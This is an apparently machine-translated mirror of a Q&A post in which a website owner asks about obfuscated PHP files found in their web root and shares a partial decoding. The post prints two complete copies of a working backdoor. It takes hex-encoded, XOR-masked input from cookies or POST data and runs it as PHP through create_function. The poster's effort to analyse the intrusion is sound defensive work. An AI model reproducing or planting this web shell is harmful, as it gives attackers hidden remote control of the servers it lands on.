繁体   English   中英

在我的网站根文件夹中找到随机 php 代码,它是什么?

[英]Random php code found in my website root folder, what is it?

文件名是7bcwj0cb.php,内容很诡异,我被黑了吗? 还有 5 个其他文件有类似的乱码

<?php
$pgmvyzp  = 'ab6u*9eivyx184o52l-kr7#ndpHfgtm_c\'s';
$maczjg   = Array();
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29] . $pgmvyzp[6] . $pgmvyzp[31] . $pgmvyzp[27] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[32] . $pgmvyzp[29] . $pgmvyzp[7] . $pgmvyzp[14] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[13] . $pgmvyzp[24] . $pgmvyzp[1] . $pgmvyzp[32] . $pgmvyzp[6] . $pgmvyzp[13] . $pgmvyzp[6] . $pgmvyzp[21] . $pgmvyzp[18] . $pgmvyzp[6] . $pgmvyzp[24] . $pgmvyzp[5] . $pgmvyzp[5] . $pgmvyzp[18] . $pgmvyzp[13] . $pgmvyzp[32] . $pgmvyzp[1] . $pgmvyzp[16] . $pgmvyzp[18] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[15] . $pgmvyzp[1] . $pgmvyzp[18] . $pgmvyzp[27] . $pgmvyzp[15] . $pgmvyzp[21] . $pgmvyzp[12] . $pgmvyzp[16] . $pgmvyzp[13] . $pgmvyzp[11] . $pgmvyzp[15] . $pgmvyzp[5] . $pgmvyzp[24] . $pgmvyzp[2] . $pgmvyzp[2];
$maczjg[] = $pgmvyzp[26] . $pgmvyzp[4];
$maczjg[] = $pgmvyzp[22];
$maczjg[] = $pgmvyzp[32] . $pgmvyzp[14] . $pgmvyzp[3] . $pgmvyzp[23] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[31] . $pgmvyzp[20] . $pgmvyzp[6] . $pgmvyzp[25] . $pgmvyzp[6] . $pgmvyzp[0] . $pgmvyzp[29];
$maczjg[] = $pgmvyzp[6] . $pgmvyzp[10] . $pgmvyzp[25] . $pgmvyzp[17] . $pgmvyzp[14] . $pgmvyzp[24] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[3] . $pgmvyzp[1] . $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20];
$maczjg[] = $pgmvyzp[0] . $pgmvyzp[20] . $pgmvyzp[20] . $pgmvyzp[0] . $pgmvyzp[9] . $pgmvyzp[31] . $pgmvyzp[30] . $pgmvyzp[6] . $pgmvyzp[20] . $pgmvyzp[28] . $pgmvyzp[6];
$maczjg[] = $pgmvyzp[34] . $pgmvyzp[29] . $pgmvyzp[20] . $pgmvyzp[17] . $pgmvyzp[6] . $pgmvyzp[23];
$maczjg[] = $pgmvyzp[25] . $pgmvyzp[0] . $pgmvyzp[32] . $pgmvyzp[19];
foreach ($maczjg[8]($_COOKIE, $_POST) as $bxoyyiw => $uugksy) {
    function kfzbo($maczjg, $bxoyyiw, $iuufylj)
    {
        return $maczjg[7]($maczjg[5]($bxoyyiw . $maczjg[1], ($iuufylj / $maczjg[9]($bxoyyiw)) + 1), 0, $iuufylj);
    }
    function ngsojvo($maczjg, $tafqe)
    {
        return @$maczjg[10]($maczjg[2], $tafqe);
    }
    function zhozxyb($maczjg, $tafqe)
    {
        $lvjxhjh = $maczjg[4]($tafqe) % 3;
        if (!$lvjxhjh) {
            $obfgnob = $maczjg[0];
            $xmsae   = $obfgnob("", $tafqe[1]($tafqe[2]));
            $xmsae();
            exit();
        }
    }
    $uugksy = ngsojvo($maczjg, $uugksy);
    zhozxyb($maczjg, $maczjg[6]($maczjg[3], $uugksy ^ kfzbo($maczjg, $bxoyyiw, $maczjg[9]($uugksy))));
}
?>

看起来您的帖子主要是代码; 请添加更多细节。 看起来您的帖子主要是代码; 请添加更多细节。

我正在稍微解码这段代码,我服务器上的原始代码是这样的:

<?php

$qzyri = 'fe1*sa4bx_#dc50ltnyoH6r3-gmp9viu2\'k';
$gsubnr = Array();
$gsubnr[] = $qzyri[12] . $qzyri[22] . $qzyri[1] . $qzyri[5] . $qzyri[16] . $qzyri[1] . $qzyri[9] . $qzyri[0] . $qzyri[31] . $qzyri[17] . $qzyri[12] . $qzyri[16] . $qzyri[30] . $qzyri[19] . $qzyri[17];
$gsubnr[] = $qzyri[20] . $qzyri[3];
$gsubnr[] = $qzyri[10];
$gsubnr[] = $qzyri[0] . $qzyri[14] . $qzyri[23] . $qzyri[2] . $qzyri[5] . $qzyri[11] . $qzyri[14] . $qzyri[0] . $qzyri[24] . $qzyri[0] . $qzyri[0] . $qzyri[13] . $qzyri[28] . $qzyri[24] . $qzyri[6] . $qzyri[32] . $qzyri[13] . $qzyri[23] . $qzyri[24] . $qzyri[5] . $qzyri[21] . $qzyri[6] . $qzyri[11] . $qzyri[24] . $qzyri[11] . $qzyri[2] . $qzyri[11] . $qzyri[0] . $qzyri[2] . $qzyri[6] . $qzyri[5] . $qzyri[7] . $qzyri[14] . $qzyri[7] . $qzyri[0] . $qzyri[23];
$gsubnr[] = $qzyri[12] . $qzyri[19] . $qzyri[31] . $qzyri[17] . $qzyri[16];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[9] . $qzyri[22] . $qzyri[1] . $qzyri[27] . $qzyri[1] . $qzyri[5] . $qzyri[16];
$gsubnr[] = $qzyri[1] . $qzyri[8] . $qzyri[27] . $qzyri[15] . $qzyri[19] . $qzyri[11] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[31] . $qzyri[7] . $qzyri[4] . $qzyri[16] . $qzyri[22];
$gsubnr[] = $qzyri[5] . $qzyri[22] . $qzyri[22] . $qzyri[5] . $qzyri[18] . $qzyri[9] . $qzyri[26] . $qzyri[1] . $qzyri[22] . $qzyri[25] . $qzyri[1];
$gsubnr[] = $qzyri[4] . $qzyri[16] . $qzyri[22] . $qzyri[15] . $qzyri[1] . $qzyri[17];
$gsubnr[] = $qzyri[27] . $qzyri[5] . $qzyri[12] . $qzyri[34];
foreach ($gsubnr[8]($_COOKIE, $_POST) as $hbhkgf => $jeswg) {
    function ilkbnxf($gsubnr, $hbhkgf, $gufyu)
    {
        return $gsubnr[7]($gsubnr[5]($hbhkgf . $gsubnr[3], ($gufyu / $gsubnr[9]($hbhkgf)) + 1), 0, $gufyu);
    }

    function rpobw($gsubnr, $wfqhr)
    {
        return @$gsubnr[10]($gsubnr[1], $wfqhr);
    }

    function przvg($gsubnr, $wfqhr)
    {
        $gltnue = $gsubnr[4]($wfqhr) % 3;
        if (!$gltnue) {
            $qebvtmo = $gsubnr[0];
            $yxubf = $qebvtmo("", $wfqhr[1]($wfqhr[2]));
            $yxubf();
            exit();
        }
    }

    $jeswg = rpobw($gsubnr, $jeswg);
    przvg($gsubnr, $gsubnr[6]($gsubnr[2], $jeswg ^ ilkbnxf($gsubnr, $hbhkgf, $gsubnr[9]($jeswg))));
}
$yxubf

到目前为止,我已经完成了解码

$array = array_merge($_COOKIE,$_POST);

foreach ($array as $key => $value) {

    function ilkbnxf( $key, $length) {
        return substr(str_repeat($key . 'f031ad0f-ff59-4253-a64d-d1df14ab0bf3', ($length / strlen($key)) + 1), 0, $length);
    }

    function toBinary( $wfqhr) {
        return @pack('H*', $wfqhr);
    }

    function przvg( $wfqhr) {
        $gltnue = count($wfqhr) % 3;
        if (!$gltnue) {
            var_dump($wfqhr);
//            $yxubf = create_function("", $wfqhr[1]($wfqhr[2]));
//            $yxubf();
//            exit();
        }
    }

    $value = toBinary( $value);
    przvg(explode('#', $value ^ ilkbnxf( $key, strlen($value))));

现在我看到了一些问题,我认为这段代码不会因此而运行。

首先,function 是在 foreach 循环中声明的,据我所知,由于无法多次声明函数,您不能在 for 循环中声明函数(在循环中它将被声明不止一次) .

其次, $wfqhr变量,在下面的代码中,在运行几次之后,这个变量并没有按照 create_function 的要求生成正确的 function,例如会将 cookie 发送到某处等。脚本确实尝试虽然混淆了cookie。

此外,对于大多数 cookie 和帖子,我已经尝试过,if 语句没有运行。

我无法弄清楚这个脚本的用途或它的用途,如果其他人可以帮助进一步弄清楚脚本,那将非常有帮助。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM